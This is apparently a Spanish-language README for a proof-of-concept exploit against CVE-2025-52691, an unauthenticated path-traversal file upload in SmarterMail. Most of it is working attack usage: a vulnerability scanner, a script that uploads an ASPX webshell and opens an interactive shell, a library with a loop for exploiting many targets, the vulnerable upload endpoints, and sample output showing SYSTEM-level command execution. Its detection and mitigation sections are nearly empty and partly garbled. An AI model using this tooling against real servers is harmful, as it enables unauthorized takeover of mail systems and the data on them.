
Prueba de concepto para CVE-2025-52691 - RCE por carga arbitraria de archivos no autenticada en SmarterMail
Solo para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado es ilegal.
Vulnerabilidad crítica en SmarterMail que permite la carga arbitraria de archivos no autenticada mediante path traversal, lo que conduce a la ejecución remota de código.
Vulnerabilidad: Path traversal en los endpoints de carga permite subir webshells ASPX a la raíz web
Impacto: Ejecución remota de código no autenticada
Vector: Red / No autenticado
git clone https://github.com/yourusername/CVE-2025-52691-POC.git
cd CVE-2025-52691-POC
pip install requests urllib3
Escanea objetivos en busca de la vulnerabilidad CVE-2025-52691. Guarda solo las URLs vulnerables en el archivo de salida.
# Single target
python check.py https://mail.example.com
# Multiple targets
python check.py -f targets.txt -o results.txt
# Custom timeout
python check.py https://mail.example.com -t 30
Salida: Una URL vulnerable por línea en results.txt
Sube una webshell ASPX y proporciona ejecución de comandos.
# Basic exploit
python pwn.py https://mail.example.com
# Execute command
python pwn.py https://mail.example.com -c "whoami"
# Interactive shell
python pwn.py https://mail.example.com -i
Módulo de explotación reutilizable para integrar en scripts personalizados.
Como biblioteca:
from exploit import SmarterMailExploit, TargetConfig, ExploitResult
# Basic usage
config = TargetConfig(base_url="https://mail.example.com")
exploit = SmarterMailExploit(config)
if exploit.exploit() == ExploitResult.SHELL_UPLOADED:
print(exploit.execute_command("whoami"))
# With custom timeout
config = TargetConfig(base_url="https://mail.example.com", timeout=60)
exploit = SmarterMailExploit(config)
result = exploit.exploit()
# Execute multiple commands
if result == ExploitResult.SHELL_UPLOADED:
print(exploit.execute_command("whoami"))
print(exploit.execute_command("hostname"))
print(exploit.execute_command("ipconfig"))
Como script independiente:
# Import and run in Python
python -c "from exploit import *; e=SmarterMailExploit(TargetConfig('https://mail.example.com')); e.exploit()"
# Create custom script
cat << 'EOF' > my_exploit.py
from exploit import SmarterMailExploit, TargetConfig, ExploitResult
targets = ['https://mail1.example.com', 'https://mail2.example.com']
for target in targets:
config = TargetConfig(base_url=target)
exploit = SmarterMailExploit(config)
if exploit.exploit() == ExploitResult.SHELL_UPLOADED:
print(f"[+] Exploited: {target}")
print(exploit.execute_command("whoami"))
EOF
python my_exploit.py
Endpoints vulnerables:
/api/upload
/api/v1/upload
/Interface/Frmx/UploadFile.aspx
/MRS/Upload.ashx
/Services/Upload.ashx
Métodos de explotación:
../wwwroot/)Webshell: Shell ASPX mínima que acepta comandos mediante el parámetro ?cmd=
python check.py <target>python pwn.py <target> -iDetección:
../)/api/uploadMitigación:
$ python pwn.py https://mail.example.com -c "whoami"
[*] Target: https://mail.example.com
[+] Target is alive
[*] Shell filename: s4a7b3c2.aspx
[*] Attempting to upload webshell...
[+] SUCCESS! Webshell uploaded
[+] Shell URL: https://mail.example.com/s4a7b3c2.aspx
[*] Executing: whoami
[+] Output:
nt authority\system
Obtenga siempre la autorización adecuada antes de realizar pruebas.